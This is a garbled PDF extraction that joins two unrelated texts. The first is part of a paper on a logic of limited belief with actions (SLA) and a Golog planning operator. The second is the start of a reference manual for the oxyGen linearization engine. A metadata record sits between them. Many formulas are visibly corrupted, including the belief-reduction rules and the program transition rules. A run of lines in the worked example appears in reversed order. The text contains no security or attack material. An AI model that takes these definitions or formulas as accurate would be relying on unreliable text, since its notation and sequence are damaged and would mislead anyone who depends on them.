1. $R[\Sigma_d, \sigma, (t_1 = t_2)] = (t_1 = t_2)$, where the $t_i$ are object terms;
2. $R[\Sigma_d, \sigma, (g_1 (t'_1) = g_2 (t''_2))] = \bot$, where $g_1$ and $g_2$ are distinct action symbols;
3. $R[\Sigma_d, \sigma, (g(t'_1) = g(t''_2))] = (t'_1 = t''_2)$;
4. $R[\Sigma_d, \sigma, \lnot \alpha] = \lnot R[\Sigma_d, \sigma, \alpha]$;
5. $R[\Sigma_d, \sigma, (\alpha \lor \beta)] = (R[\Sigma_d, \sigma, \alpha] \lor R[\Sigma_d, \sigma, \beta])$;
6. $R[\Sigma_d, \sigma, \exists x \alpha] = \exists x R[\Sigma_d, \sigma, \alpha]$
7. $R[\Sigma_d, \sigma, [t]\alpha] = R[\Sigma_d, \sigma, \alpha];$
8. $R[\Sigma_d, \sigma, \text{Poss}(t)] = R[\Sigma_d, \sigma, \alpha_t];$
9. $R[\Sigma_d, \sigma, F(\overrightarrow{t})]$ is defined inductively on $\sigma$ by:
(a) $R[\Sigma_d, (\overrightarrow{t}) F(\overrightarrow{t})] = F(\overrightarrow{t})$;
(b) $R[\Sigma_d, \sigma \cdot t, F(\overrightarrow{t})] = R[\Sigma_d, \sigma, F(\overrightarrow{t})]$.
**Lemma 3** For any $\alpha$, $R[\Sigma_d, \alpha]$ is static.
**Semantics**
For defining the logic’s semantics, we need the following definitions from (Liu, Lakemeyer, and Levesque 2004):
**Definition 4 (Unit Propagation)** A clause is a disjunction of literals, where a literal is either a ground atom $F(\overrightarrow{t})$ or its negation $\neg F(\overrightarrow{t})$. In a unit resolution step, we infer a clause from a unit clause $\{l\}$ and some clause $\{\overrightarrow{t}\} \cup c$, where $l$ refers to the complement of literal $l$. Let $s$ be a (possibly infinite) set of ground clauses. A unit derivation of a clause $c$ from $s$ is given by a sequence $c_1, \ldots, c_n$, where $c_i$ is either $c$ or derivable from previous clauses by unit resolution. We then denote the closure of $s$ under unit resolution by $UR(s)$, which is the set of clauses $c$ such that there is some unit derivation of $c$ from $s$. Further, $U(s)$ is the set of ground clauses $c$ such that $c$ is subsumed by some clause in $UR(s)$.
**Definition 5 (Belief Reduction)**
1. $\models (B_k c, \text{where } c \text{ is a clause};$
2. $\models (B_k (t = t')), \models (t = t')$;
3. $\models (B_k (t = t')) \models (t = t')$;
4. $\models (B_k \neg \phi) \models B_k \phi$;
5. $\models (B_k (\phi \lor \psi)) \models (B_k \phi \lor B_k \psi)$, where $\phi \lor \psi$ is not a clause;
6. $\models (B_k \neg (\phi \lor \psi)) \models (B_k \neg \phi \land B_k \neg \psi)$;
7. $\models (B_k \exists x \phi) \models \exists x B_k \phi$;
8. $\models (B_k \exists x \phi) \models \forall x B_k \phi$.
We can now define the semantics of formulas. A semantic model is given by two things: a setup $s$, which is a (possibly infinite) set of nonempty ground clauses, and represents the agent’s explicit beliefs about the current world state. Furthermore we need some $\Sigma_d = \Sigma_{pre} \cup \Sigma_{post}$, which represents the agent’s explicit beliefs about the world’s dynamics.
**Definition 6 (Semantics of Formulas)**
1. $s \models \Sigma_d (d_1 = d_2) \iff d_1 \text{ and } d_2 \text{ are identical object constants};$
2. $s \models \Sigma_d \neg \varphi \iff s \not\models \Sigma_d \varphi$;
3. $s \models \Sigma_d \varphi_1 \lor \varphi_2 \iff s \models \Sigma_d \varphi_1 \text{ or } s \models \Sigma_d \varphi_2$;
4. $s \models \Sigma_d \exists x \varphi \iff s \models \Sigma_d \varphi_x \text{ for some object constant } d;$
5. $s \models \Sigma_d B_k \phi \iff \text{ one of the following holds:}$
(a) subsumption:
$k = 0, \phi$ is a clause $c$, and $c \in US(s)$;
(b) reduction:
$\phi$ is static, but not a clause and $s \models \Sigma_d (B_k \phi)$;
(c) splitting:
$k > 0, \phi$ is static and there is some $c \in s \text{ such that for all } \rho \in c, s \cup \{\rho\} \models \Sigma_d B_{k-1} \phi$;
(d) regression:
$\phi$ is not static, and $s \models \Sigma_d B_k (R[\Sigma_d, \phi])$.
The notation $\varphi_x$ denotes $\varphi$ with all free occurrences of $x$ replaced by $t$. Apart from item 5d and the extra $\Sigma_d$ argument, the semantical definition is identical to the one in (Liu, Lakemeyer, and Levesque 2004). Item 5a says that
anything derivable from \(s\) by unit propagation is also available at belief level zero, since unit derivations are computationally cheap. According to item 5b, something is believed at level \(k\) when a corresponding simpler formula is already believed. Item 5c encodes that case distinctions make reasoning computationally expensive: \(\phi\) is believed at level \(k\) when for some clause we can make a case distinction over all its literals and \(\phi\) holds at level \(k - 1\) in any case. Finally, our addition of item 5d means that a formula involving actions is believed at level \(k\) iff its regression is. Because the regression is a static formula, one of the other three cases needs to be applied subsequently.
A sentence \(\alpha\) is valid wrt \(\Sigma_d\), written \(\models_{\Sigma_d} \alpha\), if for every setup \(s, s \models_{\Sigma_d} \alpha\). If \(\alpha\) does not contain any actions, we often also leave out the \(\Sigma_d\) subscript. Typically, we are interested in checking whether, given a set of explicit beliefs \(\Sigma_0\), some \(\phi\) holds at believe level \(k\). We therefore introduce the notation \(\Sigma_0 \cup \Sigma_d \models_k \phi\) as an abbreviation for \(\models_{\Sigma_d} B_0 \Sigma_0 \supset B_k \phi\), again possibly leaving out \(\Sigma_d\) when no actions are involved.
**Properties**
When restricted to static formulas, \(SLA\) is identical to \(SL\):
**Theorem 7** Let \(\phi\) be static. Then
\[
B_0 \Sigma_0 \models_{\Sigma_d} B_k \phi \iff \models_{SL} B_0 \Sigma_0 \supset B_k \phi.
\]
Furthermore, we have the following soundness result in terms of entailment of \(E\mathcal{S}\) formulas:
**Theorem 8** If \(\Sigma_0 \cup \Sigma_d \models_k \phi\) then \(\Sigma_0 \cup \Sigma_d \models_{\mathcal{E}\mathcal{S}} \phi\).
This result also establishes the connection to the classical Situation Calculus, of which \(E\mathcal{S}\) may be considered a modal dialect. For the details of the two formalisms’ relation, we refer the interested reader to (Lakemeyer and Levesque 2005).
We can now reuse results related to these two logics, in particular concerning efficient reasoning with proper\(^+\) knowledge bases as defined in (Liu and Levesque 2005):
**Definition 9** (Proper\(^+\) KBs) A KB is proper\(^+\) if it is a non-empty set of formulas of the form \(\forall(e \in \mathcal{C})\), where \(e\) is an eflf and \(c\) is a disjunction of literals whose arguments are distinct variables. An eflf \(e\) is a static, quantifier-free formula without fluents and equalities among action terms.
It is easy to see that the example \(\Sigma_0\) (1) can be represented in proper\(^+\) form. Reasoning with such KBs is tractable in the following sense:
**Theorem 10** (Liu and Levesque 2005) If \(\Sigma_0\) is proper\(^+\), \(\phi\) static, and \(\Sigma_0\) and \(\phi\) use at most \(j\) different variables, then whether \(\Sigma_0 \models_k \phi\) can be decided in time \(O((ln^{j+1})^{k+1})\),
where \(l\) is the size of \(\phi\), and \(n\) the size of \(\Sigma_0\).
That is, reasoning is only exponential in the number of variables used and the belief level. When the \(\phi\) in question is not static, it first needs to be regressed. As the result again is a static formula, the same reasoning procedure can be used. It should however be noted that in the worst case, the length \(l\) of the regression result may be in turn exponential in the number of nested occurrences of \(l\), since in each regression step, a fluent atom is replaced by an entire formula.
**Programs**
Our program semantics follows the one in (Claßen and Lakemeyer 2008), which is an adaptation of the single step semantics of (De Giacomo, Lespérance, and Levesque 2000). Given a setup \(s\), some \(\Sigma_d\), a believe level \(k\), and a sequence \(z\) of already executed actions, a program \(\delta\) is mapped to a set of action sequences \(z’\), which we call program execution traces. The definition uses the notion of program configurations \((\delta, z)\), where \(\delta\) is a program (intuitively what remains to be executed) and \(z\) a sequence of ground actions (that have already been performed). A final configuration is one where program execution may legally and successfully terminate, and single step transitions \(t\) turn a configuration \((\delta, z)\) into a new configuration \((\delta’, z \cdot t)\).
Formally, the set of final configurations \(F_{\Sigma_d}^{\Sigma_d}\) is the smallest set such that for all \(\delta, \delta_1, \delta_2, \text{static } \phi\) and \(z\):
1. \((\phi?, z) \in F_{\Sigma_d}^{\Sigma_d}\) if \(s \models_{\Sigma_d} B_k ([z] \phi);\)
2. \((\delta_1; \delta_2, z) \in F_{\Sigma_d}^{\Sigma_d}\) if \((\delta_1, z) \in F_{\Sigma_d}^{\Sigma_d}\) and \((\delta_2, z) \in F_{\Sigma_d}^{\Sigma_d},\)
3. \((\delta_1 \delta_2, z) \in F_{\Sigma_d}^{\Sigma_d}\) if \((\delta_1, z) \in F_{\Sigma_d}^{\Sigma_d}\) or \((\delta_2, z) \in F_{\Sigma_d}^{\Sigma_d};\)
4. \((\pi x, \delta, z) \in F_{\Sigma_d}^{\Sigma_d}\)
if \((\delta’^x, z) \in F_{\Sigma_d}^{\Sigma_d}\) for some object constant \(d);\)
5. \((\delta, z) \in F_{\Sigma_d}^{\Sigma_d}.)
Thus, a configuration \((\phi?, z)\) whose remaining program is a test is final wrt \(s, \Sigma_d\) and \(k\) if the formula\(^1\) \([z] \phi\) is believed at level \(k\) in \(s\) and \(\Sigma_d\). From the above it also follows that \((\epsilon, z) \notin F_{\Sigma_d}^{\Sigma_d}\) for atomic \(t\), i.e. if some action \(t\) remains to be done, the configuration cannot be final. Further, sequences are only final when the involved subprograms are both final etc. The transition relation among program configurations is given as follows (the empty program nil abbreviates \(\top\)?):
1. \((t, z) \rightarrow_{s, \Sigma_d, k} (\text{nil}, z \cdot t);\)
2. \((\delta_1; \delta_2, z) \rightarrow_{s, \Sigma_d, k} \gamma; \delta_2, z \cdot t)\) if \((\delta_1, z) \rightarrow_{s, \Sigma_d, k} \gamma; z \cdot t);\)
3. \((\delta_1 \delta_2, z) \rightarrow_{s, \Sigma_d, k} \delta’_1; z \cdot t)\)
if \((\delta_1, z) \rightarrow_{s, \Sigma_d, k} \delta_1; z \cdot t)\) and \((\delta_2, z) \rightarrow_{s, \Sigma_d, k} \delta’_2; z \cdot t)\)
4. \((\delta_1 \delta_2; z) \rightarrow_{s, \Sigma_d, k} \delta_1; \delta_2, z \cdot t)\)
if \((\delta_1, z) \rightarrow_{s, \Sigma_d, k} \delta_1; \delta_2, z \cdot t)\) or \((\delta_2, z) \rightarrow_{s, \Sigma_d, k} \delta’_2; z \cdot t)\)
5. \((\pi x, \delta, z) \rightarrow_{s, \Sigma_d, k} \delta’_1; z \cdot t)\)
if \((\delta_1, z) \rightarrow_{s, \Sigma_d, k} \delta_1; \delta’_1, z \cdot t)\) for some object constant \(d);\)
6. \((\delta, z) \rightarrow_{s, \Sigma_d, k} \gamma, \delta; z \cdot t)\) if \((\delta, z) \rightarrow_{s, \Sigma_d, k} \gamma; z \cdot t)\).
\(^1\)We extend \([\cdot]\) to sequences: \([\cdot]\) \(\delta\) \(\xrightarrow{\Sigma_a}\) \([\cdot]\) \(\phi\) \(\xrightarrow{\Sigma_a}\) \([\cdot]; t\) \(\phi\).
trace are not necessarily all executable according to Poss, to allow for reasoning about hypothetical situations including non-reachable ones. In case we are only interested in the actually executable traces of our program \( \delta \), we simply have to substitute each occurrence of an action \( t \) by Poss(\( t \)); \( t \) in \( \delta \).
Given an initial KB \( \Sigma_0 \), we further define
\[
|\delta|_{\Sigma_0,k}^\Sigma(z) = \bigcap \{ |\delta|_{\Sigma_0,k}^\Sigma(z) \mid s \models B_0 \Sigma_0 \}
\]
to be the set of execution traces common to all setups \( s \) where \( \Sigma_0 \) is explicitly believed. Our program semantics is sound (but not complete) wrt the program semantics of ESG as presented in (Claßen and Lakemeyer 2008) as follows:
**Theorem 11** If \( z^\prime \in |\delta|_{\Sigma_v,k}^\Sigma(z) \), then for any semantic model \( w \) of ESG such that \( w \models \Sigma_0 \cup \Sigma_d \), also \( z^\prime \in |\delta|^w(z) \).
Again the relation to classical Golog is given by the results presented in (Claßen and Lakemeyer 2008) and (Lakemeyer and Levesque 2005).
**Execution of Programs**
In classical Golog, programs are executed off-line, meaning the interpreter first analyzes the entire program to search for a conforming execution trace before performing any actions in the real world. This soon becomes infeasible, in particular when the program is large, the agent has only incomplete world knowledge and has to use sensing to gather information at run-time. IndiGolog (Sardina et al. 2004) therefore executes programs on-line, which means that there is no general look-ahead, but the system just does the next possible action in each step, treating nondeterminism like random choices. Look-ahead is only applied to parts of the program that are explicitly marked by the search operator \( \Sigma(\delta) \), thus giving the programmer the control over where the system should spend computational effort for searching. However the search does not pay attention to the computational costs of plans. The main contribution of this paper is to propose the following two new offline search operators:
- \( \Lambda_k(\delta, z) \),
where the set of solution traces is \( |\delta|_{\Sigma_0,k}^\Sigma(z) \);
- \( \Lambda_\ast(\delta, z) \),
where the set of solution traces \( \bigcup_{k=0}^\infty |\delta|_{\Sigma_0,k}^\Sigma(z) \).
Whereas \( \Lambda_k \) only finds solutions obtainable by reasoning up to belief level \( k \), \( \Lambda_\ast \) considers all belief levels, where the idea is that lower level solutions will be tested before ones at higher levels, thus preferring plans that require the least computational costs.
The algorithms we are going to present here for computing according solutions make use of the notion of characteristic program graphs as presented in (Claßen and Lakemeyer 2008). Due to space reasons, we will not repeat the (entire) definition here. Intuitively, a program \( \delta \) is mapped to a graph \( G_\delta = (V, E, v_0) \), with\(^2\)
\[ v_0 = (\delta, \varphi_0) \in V \] is the initial node.
The graph for the example program \( \delta \) from the introduction is shown in Figure 1. The nodes are \( v_0 = (\delta, \bot) \), \( v_1 = (\langle \mathrm{nil}, \top \rangle) \), and \( v_2 = (\langle \mathrm{get(book2, lab)), \bot \rangle) \).
**Definition 12** Let \( \xi \) be a path in the characteristic graph. The path formula \( \mathcal{PF}(\xi) \) is defined inductively on its length:
- \( \mathcal{PF}(v) = \varphi^\prime \), if \( v = (\delta^\prime, \varphi^\prime) \);
- \( \mathcal{PF}(\xi) = \psi \land [t] \mathcal{PF}(\xi^\prime) \), if \( \xi = v \xrightarrow{t/\psi} \xi^\prime \).
**Procedure 1** \( \text{COMP}_{\Lambda}(\delta, z) \)
Determine \( G_\delta = (V, E, v_0) \)
for \( l = 0, 1, 2 \ldots \) do
for all paths \( \xi \) of length \( l \) starting in \( v_0 \) do
if \( \Sigma_0 \cup \Sigma_d \models \xi \in \mathcal{PF}(\xi) \) then
return \( PT(\xi) \)
When the set of possible paths is finite like in our example, \( \text{COMP}_{\Lambda}(\delta, z) \) will always terminate for any \( k \) and \( z \). In this case we can call that procedure for increasing belief level \( k \):
**Procedure 2** \( \text{COMP}_{\Lambda}\ast(\delta, z) \)
for \( k = 0, \ldots, \infty \) do
\( \text{COMP}_{\Lambda}(\delta, z) \)
Let us apply \( \text{COMP}_{\Lambda}(\delta, (\langle \rangle)) \) to our example program \( \delta \), and let us assume that no actions have been performed so far by the agent, i.e. \( z = (\langle \rangle) \). We first call \( \text{COMP}_{\Lambda}(\delta, (\langle \rangle)) \) for belief level \( k = 0 \). The program graph contains four different paths

tractability results for the progression of proper
at the conceptual level. Instead of solely using regression-
to also evaluate it empirically against existing techniques.
IndiGolog agent framework (Sardina et al. 2004) to be able
currently working on implementing the method by integrat-
The approach presented here is work in progress. We are
propagation. Similarly for
Then we need to check for each \( \xi \) whether \( \Sigma_d \cup \Sigma_d \models \xi_0 \)
PF(\( \xi \)) is the same as \( \models \Sigma_d B_0 \Sigma_d \models B_0 \phi \),
which according to rule 5d of the semantics means \( \models \Sigma_d \)
\( B_0 \Sigma_d \models B_0 (R[\Sigma_d, PF(\xi)]) \). The regressed versions of the
path formulas are, with simplifications:
\[
\begin{align*}
R[\Sigma_d, PF(\xi_0)] &= \perp \\
R[\Sigma_d, PF(\xi_1)] &= \perp \\
R[\Sigma_d, PF(\xi_2)] &= \perp \\
R[\Sigma_d, PF(\xi_3)] &= \perp \\
\end{align*}
\]
To see that both \( \models \Sigma_d B_0 \Sigma_0 \models B_0 \phi \) as well as
\( \models \Sigma_d B_0 \Sigma_0 \models B_0 \perp \), let \( s \) be the setup given by
\[
\{ A(\text{book2, lab}), \text{Borrowed(ann, book1)} \lor \text{Borrowed(bob, book1)}, \text{\neg Borrowed(d, book1)} \lor \text{A(\text{book1, lab})} \ | ext{d an obj. const.} \}.
\]
Then \( s \models B_0 \Sigma_0 \). As both \( \perp \) and \( A(\text{book1, lab}) \) are clauses
(\( \perp \) is the empty clause), the only possibility is that they are
believed by subsumption. However, in this case \( U(R) = s \) (no
unit propagation is possible) and there is no clause in \( s \) that subsumes \( \perp \) or \( A(\text{book1, lab}) \), hence \( s \not\models B_0 \Sigma_0 \) and
\( s \not\models B_0 A(\text{book1, lab}) \). On the other hand, when \( s \) is some
arbitrary setup with \( s \models B_0 \Sigma_0 \), then \( s \models B_0 A(\text{book2, lab}) \)
by reduction (treating a set as a conjunction), therefore \( \models \Sigma_d \)
\( B_0 \Sigma_0 \models B_0 A(\text{book2, lab}) \). \text{COMP}_{\delta}(\( \delta, (\text{} \})) \) thus returns
\[
PT(\xi_2) = \langle \text{unlock(lab), get(book2, lab)} \rangle.
\]
When \( k = 1 \), we get \( \models \Sigma_d B_0 \Sigma_0 \models B_1 A(\text{book1, lab}) \) as
follows. Let again \( s \) be a setup with \( s \models B_0 \Sigma_0 \). Then \( s \) will
contain a clause that subsumes \( \text{Borrowed(ann, book1)} \lor \text{Borrowed(bob, book2)} \), and we can split over this
clause. As \( s \) also must contain a clause subsuming
\( \text{\neg Borrowed(ann, book1)} \lor A(\text{book1, lab}) \), \( A(\text{book1, lib}) \)
can be obtained from \( s \cup \{ \text{Borrowed(ann, book1)} \} \) by unit
propagation. Similarly for \( \text{Borrowed(bob, book1)} \), therefore
\( s \models B_1 A(\text{book1, lib}) \). Only the \( k = 1 \) cycle of
\text{COMP}_{\delta}(\( \delta, (\text{} \})) \) will hence yield the solution
\[
PT(\xi_1) = \langle \text{get(book1, lib)} \rangle.
\]
Future Work
The approach presented here is work in progress. We are
currently working on implementing the method by integrating
a corresponding reasoner and search operator into the
IndiGolog agent framework (Sardina et al. 2004) to be able
to also evaluate it empirically against existing techniques.
There are furthermore many directions for future work
at the conceptual level. Instead of solely using regression-
based reasoning, we might extend our approach with recent
tractability results for the progression of proper+ knowledge
bases (Liu and Lakemeyer 2009). As the naive loop of \( \Lambda_\delta \)
obviously will not terminate once the program \( \delta \) contains an
iteration, \( \Lambda_\delta \) will in this case get stuck at belief level zero,
even if there are possibly solutions at higher levels. One may
try to apply some sort of dovetailing technique here, where
for any \( k \), only solutions up to a length \( l(k) \) are considered.
It is further conceivable to combine our language with an
appropriate model for action time costs to be able to study
trade-offs between the required reasoning and actual execution
time of plans. Also, a variant of our method that computes
conditional plans may be useful. In particular, it might be
necessary to adapt the notion of \textit{epistemic feasibility} as
discussed in (Sardina et al. 2004): Consider a conditional
plan in the form of the following program:
\[
\phi?; a \mid \neg \phi?; b
\]
where at plan time, the truth value of \( \phi \) was unknown. To
be able to execute this program we have to ensure that \( \phi \)
will become known at run time, or the executor gets stuck
not knowing what step to take next. We therefore also need
to extend our formalism appropriately to allow for \textit{sensing actions}
that the agent can use in order to gather the necessary
information at run time, possibly in combination with
knowledge-based programs as described in (Claßen and
Lakemeyer 2006).
Finally, integrating the \( \pi \) operators we omitted in the
previous section is straightforward in principle, but somewhat
tedious. The idea is that whenever some \( \pi x \) is encountered
on a path, the corresponding \( x \) in the path formula is substi-
tuted by a fresh variable \( x' \) as different quantifiers may use
identical variable names. The obtained path formula then
contains a number of free variables. The tractable reasoning
procedure presented in (Liu and Levesque 2005) is able to
deal with open queries for which it computes a set of variable
substitutions. Each such substitution, applied to a path
trace with free variables, then corresponds to one possible
solution trace.
Conclusion
In this paper we introduced a new logic called \( \mathcal{SLA} \) for
tractable reasoning with limited beliefs in the presence of
action and change. Based on this, we proposed a new planning
operator that considers increasing levels of belief, thus
preferring solution plans that are the computationally cheapest
to discover.
Acknowledgements
This work was supported by the German National Science
Foundation (DFG) under grant La 747/14-1. We also thank
the anonymous reviewers for their helpful comments.
References
Claßen, J., and Lakemeyer, G. 2006. Foundations
for knowledge-based programs using ES. In Doherty, P.; My-
Press.
|
{"Source-Url": "http://commonsensereasoning.org/2009/papers/commonsense2009paper5.pdf", "len_cl100k_base": 10543, "olmocr-version": "0.1.50", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 29728, "total-output-tokens": 12300, "length": "2e13", "weborganizer": {"__label__adult": 0.00046443939208984375, "__label__art_design": 0.0006842613220214844, "__label__crime_law": 0.0006437301635742188, "__label__education_jobs": 0.0013895034790039062, "__label__entertainment": 0.00016069412231445312, "__label__fashion_beauty": 0.0002524852752685547, "__label__finance_business": 0.0005097389221191406, "__label__food_dining": 0.0006737709045410156, "__label__games": 0.0010480880737304688, "__label__hardware": 0.0010862350463867188, "__label__health": 0.0010843276977539062, "__label__history": 0.0004744529724121094, "__label__home_hobbies": 0.0002157688140869141, "__label__industrial": 0.000919342041015625, "__label__literature": 0.0009393692016601562, "__label__politics": 0.0004427433013916016, "__label__religion": 0.0007104873657226562, "__label__science_tech": 0.2415771484375, "__label__social_life": 0.00017702579498291016, "__label__software": 0.00925445556640625, "__label__software_dev": 0.7353515625, "__label__sports_fitness": 0.0004315376281738281, "__label__transportation": 0.001132965087890625, "__label__travel": 0.00025272369384765625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 38574, 0.01598]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 38574, 0.57798]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 38574, 0.83005]], "google_gemma-3-12b-it_contains_pii": [[0, 5128, false], [5128, 11885, null], [11885, 18656, null], [18656, 25602, null], [25602, 30390, null], [30390, 36729, null], [36729, 38574, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5128, true], [5128, 11885, null], [11885, 18656, null], [18656, 25602, null], [25602, 30390, null], [30390, 36729, null], [36729, 38574, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 38574, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 38574, null]], "pdf_page_numbers": [[0, 5128, 1], [5128, 11885, 2], [11885, 18656, 3], [18656, 25602, 4], [25602, 30390, 5], [30390, 36729, 6], [36729, 38574, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 38574, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
cf962030c21238d28d85a64f7887a2f5f307dab0
|
LAMP-TR-079
CS-TR-4295
UMIACS-TR-2001-73
A Reference Manual to the Linearization Engine oxyGen
Version 1.6
Nizar Habash
Language and Media Processing Laboratory
Instititue for Advanced Computer Studies
College Park, MD 20742
Abstract
This is a manual for the language independent linearization engine, oxyGen. This system has been developed as part of the Machine Translation (MT) effort at the University of Maryland College Park. oxyGen has been used as an integral part of the National Language Generation (NLG) component of an interlingual Chinese-English MT project and a Spanish-English MT project. It has also been used to generate simple Spanish and Chinese sentences on a large scale of coverage. This manual includes an introduction to the language oxyL and a reference manual complete with a sample working grammar for English.
***The support of the LAMP Technical Report Series and the partial support of this research by the National Science Foundation under grant EIA0130422 and the Department of Defense under contract MDA9049-C6-1250 is gratefully acknowledged.
A Reference Manual
to the Linearization Engine
oxyGen
version 1.6
Nizar Habash
University of Maryland
Institute for Advanced Computer Studies
September 13, 2001
## Contents
1 oxyGen ................................................................. 2
1.1 Introduction ..................................................... 2
1.2 Linearization ................................................... 3
1.3 oxyGen: A Hybrid System ....................................... 4
2 oxyL ................................................................. 6
2.1 Abstract Meaning Representation ......................... 6
2.1.1 oxyL Basic Tokens ........................................ 8
2.2 oxyL File ........................................................ 9
2.3 oxyL Rules ...................................................... 10
3 Sample oxyL Grammar for English .............................. 13
3.1 The oxyL File ................................................... 13
3.2 Input and Output .............................................. 15
4 oxyGen Reference .................................................... 17
4.1 oxyGen Package ............................................... 17
4.1.1 oxyGen Installation ....................................... 17
4.1.2 oxyCompile ................................................ 18
4.1.3 oxyRun ..................................................... 18
4.1.4 oxyLin ..................................................... 19
4.1.5 oxyDebug .................................................. 19
4.2 Declarations .................................................. 20
4.3 Built-in Functions ............................................. 22
4.4 Built-in Recasts ............................................... 23
4.5 Reserved Tokens ............................................... 25
4.5.1 Reserved Variables ....................................... 25
4.5.2 Reserved Roles ............................................ 25
4.5.3 Reserved Functions ...................................... 25
4.5.4 Reserved Strings ......................................... 26
Chapter 1
oxyGen
1.1 Introduction
This is a manual for the language independent linearization engine, oxyGen. This system has been developed as part of the Machine Translation (MT) effort at the University of Maryland College Park [1, 8]. oxyGen has been used as an integral part of the Natural Language Generation (NLG) component of an interlingual Chinese-English MT project and a Spanish-English MT project. It has also been used to generate simple Spanish and Chinese sentences on a large scale of coverage [3]. Natural Language Generation is interested in taking non-linguistic representations as input and converting them into natural language output. NLG can be divided into two major distinct operations: Lexical Selection and Linearization. The former is concerned with selecting the correct natural language lexical item such as eat versus devour or car versus vehicle. The later is concerned with the relative positioning of lexical items on the surface such man hit dog versus dog hit man or man dog hit. oxyGen is an engine for developing programs to do the later operation: Linearization. The input to such programs is a labeled Feature Graph (FG) representation of a natural language sentence. The particular form of FGS used here is a modified version of Nitrogen’s Abstract Meaning Representation (AMR) [5, 6]. AMRs are labeled directed feature graphs written using the syntax of the Penman Sentence Plan Language [4]. The output of the linearization programs developed using oxyGen is a word lattice, a compressed representation of the various possible generated sequences. See Figure 1.1.
![Diagram of AMR to oxyGen Linearizer to Word Lattice]
Figure 1.1: oxyGen Linearizer
1.2 Linearization
To exemplify the use of oxyGen and linearization in general, take the following input AMR:
(1) (1 / |like| :POS Verb
:Subject (2 / |man| :POS Noun)
:Object (3 / |car| :POS Noun))
This AMR can be read as there is a verb, like, and it has a subject, man, which is a noun and an object, car, which is also a noun. In English, a proper word order would be man like car (or more fluently the man likes the car, but let’s not worry about fluency for now). To specify that an SVO (subject verb object) order is desired in English (versus VSO or SOV), we need a linearization rule such as the following:
(2) (?? (&eq @pos Verb) -> (subject @/ @object)
-> (@/))
This rule is written using oxyL (oxyGen Language), a flexible and powerful language that has the power of a programming language but focuses on natural language realization. This rule can be read as if the part of speech (POS) of the current AMR is Verb, then linearize the subject AMR followed by the word instance followed by the object AMR; otherwise linearize the word instance by itself. This is a very simple grammar that needs more extensions to handle real input with different phrase structures and parts of speech. But a real AMR is also complex on a different dimension: Ambiguity. Let’s assume the input AMR is a result of a lexical selection process for the same sentence in (1) from a language that doesn’t specify number (singular versus plural) and its word for like is ambiguous in that it covers the concepts of desire and love. This AMR could look as follows:
(3) (0 :OR (1 / (*or* |like| |likes|)
:POS Verb
:Subject (2 / (*or* |man| |men|) :POS Noun)
:Object (3 / (*or* |car| |cars|) :POS Noun))
:OR (4 / (*or* |desire| |desires|)
:POS Verb
:Subject (5 / (*or* |man| |men|) :POS Noun)
:Object (6 / (*or* |car| |cars|) :POS Noun))
:OR (7 / (*or* |love| |loves|)
:POS Verb
:Subject (8 / (*or* |man| |men|) :POS Noun)
:Object (9 / (*or* |car| |cars|) :POS Noun)))
Since such ambiguity can occur anywhere in an AMR, it presents a challenge
to writing simple linearization rules whose application is conditional upon spe-
cific AMR role combinations at different depths. However, the beauty of oxyGen
is that it allows hiding the ambiguity of the input from the grammar description
so that both AMRs (1 and 3) can be linearized using the same grammar rule in
(2). Of course, the ambiguity of (3) will lead to a large set of sequences:
(4)
| man like car | man desire car | man love car |
| man like cars | man desire cars | man love cars |
| man likes car | man desires cars | man loves car |
| man likes cars | man desires cars | man loves cars |
| men like car | men desire car | men love car |
| men like cars | men desire cars | men love cars |
| men likes car | men desires car | men loves car |
| men likes cars | men desires cars | men loves cars |
A statistical extraction module can be used to rank the different sequences
using uni and bigram statistics or other language models. The statistical ex-
traction component of Nitrogen [5, 6] is one such module.
In addition to hiding ambiguity from the grammars, oxyGen provides, through
oxyL, a great power to the grammar writers by providing complex tools designed
with natural language linearization in mind. oxyGen can also be extended and
modified easily via second and third-party code.
1.3 oxyGen: A Hybrid System
oxyGen compiles target language grammars written in oxyL into compilable
Lisp programs that take AMRs as inputs and generate word lattices that can be
parsed along to be ranked by some language model. This approach to lin-
earization implementation is a hybrid between the declarative and procedural
paradigms. oxyGen uses a linearization grammar description language (oxyL)
to write declarative grammar rules which are then compiled into a program-
ing language (Lisp) for efficient performance. This hybrid approach allows
oxyGen to maximize the advantages and minimize the disadvantages of a pure
procedural implementation (in Lisp or C) or a pure declarative implementation
(in Nitrogen grammar). oxyGen contains three main elements: a linearization
grammar description language (oxyL), an oxyL to Lisp compiler (oxyCompile)
and a run-time support library (oxyRun). Target language linearization gram-
mars written in oxyL are compiled off-line into oxyGen linearizers using oxy-
Compile (Figure 1.2).
oxyGen linearizers are Lisp programs that require the oxyRun library of
basic functions in order to execute (Figure 1.3). They take AMRs as input and
create word lattices as output.
In addition to the oxyCompile and oxyRun components, there are currently
two additional components oxyLin, a simple converter from word lattices to
surface sequences, and oxyDebug, a support code for debugging the compiled linearization grammars. The specifications of all these components are in Chapter 4.
